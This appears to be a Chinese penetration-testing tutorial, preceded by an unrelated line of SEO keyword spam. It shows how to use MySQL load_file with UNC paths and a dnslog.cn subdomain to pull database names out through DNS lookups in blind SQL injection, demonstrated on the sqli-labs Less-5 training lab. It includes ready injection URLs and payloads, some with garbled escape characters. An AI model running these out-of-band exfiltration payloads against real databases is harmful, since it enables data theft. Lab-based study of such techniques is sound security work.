网站维护经费,泉州网站建设哪里优惠,通过域名打开网站是做映射么,盐城网站开发DNSLog漏洞探测(七)之SQL注入漏洞实战
在前面的文章之中#xff0c;我们已经学习了XSS、RCE、XXE、SSRF漏洞中有关于DNSLog平台的使用。这些漏洞本身在执行时就有解析URL地址#xff0c;发起网络请求的操作#xff0c;所以只要我们把DNSLog平台获取的子域名地址发送到存在漏…DNSLog漏洞探测(七)之SQL注入漏洞实战
在前面的文章之中我们已经学习了XSS、RCE、XXE、SSRF漏洞中有关于DNSLog平台的使用。这些漏洞本身在执行时就有解析URL地址发起网络请求的操作所以只要我们把DNSLog平台获取的子域名地址发送到存在漏洞的服务器上就会产生DNSLog的解析记录这样就可以证明该漏洞的存在。
本文我们来学习有关于DNSLog平台有关于SQL注入的利用方式SQL注入在DNSLog的利用中和XSS、RCE、XXE、SSRF这些漏洞不同在SQL注入无回显的情况下我们可以通过DNSLog平台的利用去外带出一些数据库的信息
MySQL load_file函数
在 MySQL 数据库中 load_file函数是用来读取文件的函数以下是在各系统中读取相应文件的SQL语句
#Windows系统
select load_file(C:/Windows/system.ini);
#Linux系统
select load_file(/etc/hosts);如果想要在MySQL 数据库读取相应的文件则需要以下的条件
需要读取的文件在数据库本机用户对文件要有允许访问的权限需要读取的文件的大小要小于max_allowed_packet否则返回NULL
以下是现版本数据库中有关于max_allowed_packet的大小限制一般默认情况是32MB大小 secure_file_priv参数
在MySQL 数据库中除了读取文件的操作还有写入文件的操作。在MySQL 数据库中读写文件都受到secure_file_priv参数的限制在在MySQL 数据库中secure_file_priv的参数有三种类型当secure-file-priv时我们可以对任意文件执行导入导出的命令
值类型secure-file-priv“”没有任何限制不安全secure-file-priv“具体文件夹”只能在指定的文件夹导入导出secure-file-privNULL不允许导入导出
我们可以在MySQL 数据库中使用以下语句查询该参数的类型
show variables like %secure_file_priv%;DNSLog注入步骤仅支持Windows的MySQL
首先我们打开DNSLog的平台点击 Get SubDomain获取一个子域名这里我们获取到的子域名地址是 9asrrv.dnslog.cn 然后将需要读取的文件替换为DNSLog平台获取到的子域名地址这里需要注意的是经过转义之后是\\是Windows系统里常用的UNC路径的格式而后面的 /test 是必须要写的它代表着UNC路径里一个文件夹的名字当然文件夹的名字可以随你怎么取都行总而言之正确的格式就是这样。整条语句的意思就是取读取一个文件夹我们在UNC路径中添加了DNSLog平台的地址让这条语句在执行时能够去访问我们的DNSLog平台从而产生解析记录
#原始的payload
select load_file(xxxxx.dnslog.cn/test);
#本文所使用的payload
select load_file(9asrrv.dnslog.cn/test);接下来我们去执行相应的语句 现在我们返回DNSLog平台点击 Refresh Record 刷新此时DNSLog平台就会产生DNSLog解析记录 那么这样子就说明如果我们在碰到SQL注入漏洞无回显的情况下这样我们把这样的语句拼接在有SQL注入漏洞参数的提交点上不论是get还是post请求只要服务器执行了这个语句并在DNSLog平台产生DNSLog解析就能够证明该漏洞存在。
接下来我们用 sqli-labs的靶场来做个演示实验中用到的 sqli-labs 靶场是 sqli-labs的第五关 当我们的参数 id 1 时页面显示正常但当我们把参数改为 id 1‘ 时页面产生了报错 当我们将参数修改为 id 1’ -- 时页面显示正常 当我们执行了这样的语句时我们可以判断这里存在SQL注入漏洞但是它并没有将相关的数据给我们回显出来这也就是我们常说的SQL注入漏洞无回显的情况针对这种情况我们一般是使用盲注的情况用来解题的但是本文就来教大家如何利用DNSLog平台解决SQL注入漏洞无回显的情况并且去外带出SQL数据库一些信息出来
首先我们打开DNSLog的平台点击 Get SubDomain获取一个子域名这里我们获取到的子域名地址是 900ind.dnslog.cn 然后向存在SQL漏洞的注入点提交以下的payload
#原始的payload
http://localhost/sqli-labs/Less-5/?id1 and if((select load_file(concat(,database(),.xxxxx.dnslog.cn/wuya))),1,0) --
#本文所使用的payload
http://localhost/sqli-labs/Less-5/?id1 and if((select load_file(concat(////,database(),.900ind.dnslog.cn/wuya))),1,0) --现在我们返回DNSLog平台点击 Refresh Record 刷新此时DNSLog平台就会产生DNSLog解析记录并且把当前数据库的库名一并爆了出来 如果我们想要查询第二个数据库的库名便可以使用以下的语句去查询
#原始的payload
http://localhost/sqli-labs/Less-5/?id1 and if((select load_file(concat(,(select schema_name from information_schema.schemata limit 1,1),.xxxxx.dnslog.cn/test))),1,0) --
#本文所使用的payload
http://localhost/sqli-labs/Less-5/?id1 and if((select load_file(concat(////,(select schema_name from information_schema.schemata limit 1,1),.900ind.dnslog.cn/wuya))),1,0) --向存在SQL漏洞的注入点提交payload 现在我们返回DNSLog平台点击 Refresh Record 刷新此时DNSLog平台就会产生DNSLog解析记录并且把第二个数据库的库名一并外带了出来 总之利用DNSLog平台解决SQL注入无回显的思路就是这么一种思路至于其如何利用的相关语句就由各位师傅们自由发挥了